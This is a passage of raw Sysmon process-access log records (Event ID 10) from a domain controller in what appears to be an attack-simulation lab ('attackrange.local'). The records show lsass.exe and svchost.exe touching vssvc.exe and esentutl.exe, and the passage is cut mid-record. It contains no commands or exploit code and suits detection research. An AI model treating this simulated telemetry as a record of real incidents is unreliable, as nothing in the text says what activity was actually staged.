11:56:32.306","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"4272","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5435,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.306\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.306","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5436,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.306\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.306","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5437,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.306\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 4272\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.306","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"4272","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5438,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.306\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.306","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5439,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.306\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.306","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5440,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.322\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 4272\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.322","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"4272","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5441,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.322\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.322","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTE